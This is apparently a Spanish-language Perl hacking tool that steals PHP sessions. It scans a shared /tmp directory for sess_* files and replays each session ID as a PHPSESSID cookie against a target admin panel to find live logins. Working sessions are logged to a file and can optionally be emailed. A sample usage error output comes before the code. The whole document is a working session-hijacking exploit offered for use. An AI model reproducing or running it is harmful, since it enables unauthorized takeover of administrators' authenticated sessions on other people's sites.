Value: PHPSESSID=[HASH-32B] Path="/";

murder@netbook:~$ perl test.pl

Error, faltan parametros:
    -p || --panel  >>> define la url completa del panel a atacar.
    -s || --string  >>> define el string único para identificar el panel, entre comillas.
    -t || --tmp  >>> define la localización del directorio /tmp.

Ejemplo: ./myself.pl -p http://www.lol.com/admin -s "<form action=login.php" -t /home/tmp -c SI

#!/usr/bin/perl -w
# Tmp +r Session Steal Software
# Coded by MurdeR,
# visita www.diosdelared.com
# http://murder.diosdelared.com

#descomenta la siguiente linea si deseas que el script
#te notifique por email cuando ownee alguna session...

my $mail = "";

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;

foreach $options (@ARGV) {
$xn++;
    if ($options eq "-p" or $options eq "--panel") {
        $admin = $ARGV[$xn];
                            }
    if ($options eq "-s" or $options eq "--string") {
        $string = $ARGV[$xn];
                            }
    if ($options eq "-t" or $options eq "--tmp") {
        $tmpdir = $ARGV[$xn];
                            }
                }
if (!defined($tmpdir) or !defined($admin) or !defined($string)) {
    print "Error, faltan parametros:
    -p || --panel  >>> define la url completa del panel a atacar.
    -s || --string  >>> define el string único para identificar el panel, entre comillas.
    -t || --tmp  >>> define la localización del directorio /tmp.

Ejemplo: ./myself.pl -p http://www.lol.com/admin -s \"<form action=login.php\" -t /home/tmp -c SI\n";
    exit();
                                    }
#tomando valores por stdin
print "[+] Url del panel a atacar: $admin\n";
print "[+] String única para identificar el panel: $string\n";

#separo el host de la url...
my $host;
@host=split("http://",$admin);
@host = split("/",$host[1]);
$host = $host[0];

print "[+] Path del directorio tmp: $tmpdir\n";

print "\n\n[+] Probando...\n";
opendir(IMD, $tmpdir) || die("Cannot open directory");
@archivos= readdir(IMD);
closedir(IMD);

my $n=0;
foreach $archivo (@archivos)
{
 unless ( ($archivo eq ".") || ($archivo eq "..") )
 {
  if ($archivo =~ m/sess_/)     {
    $n = $n+1;
    my $cookie;
    @cookie=split("sess_",$archivo);
    $cookie=$cookie[1];
    chomp($cookie);
    $lwp = LWP::UserAgent->new();

    $req = HTTP::Request->new('GET', $admin);
    $req->header('Host' => $host,
'Keep-Alive' => '300',
'Connection' => 'keep-alive',
'Referer' => 'http://www.referer.com/index.php',
'Cookie' => 'PHPSESSID=' . $cookie . '; path=/');

    $contenido = $lwp->request($req)->as_string;

    if ( $contenido =~ m/$string/)          {
            print "[$n] $cookie No funciona...\n";
                                            }
    else    {
            printf "[$n] $cookie Funciona!!!\n";
        open(ARCH,">> lista.txt") || print "[!] No pudo guardarse $cookie";
        print ARCH "$n $cookie\n";
        close(ARCH);
        if ($mail ne "")     {
            print "[!] Enviando mail...\n";
            system('cat lista.txt | mail -s "Owned Session" $mail');
                    }
            }
$lwp="";
$req="";
                }
 }
}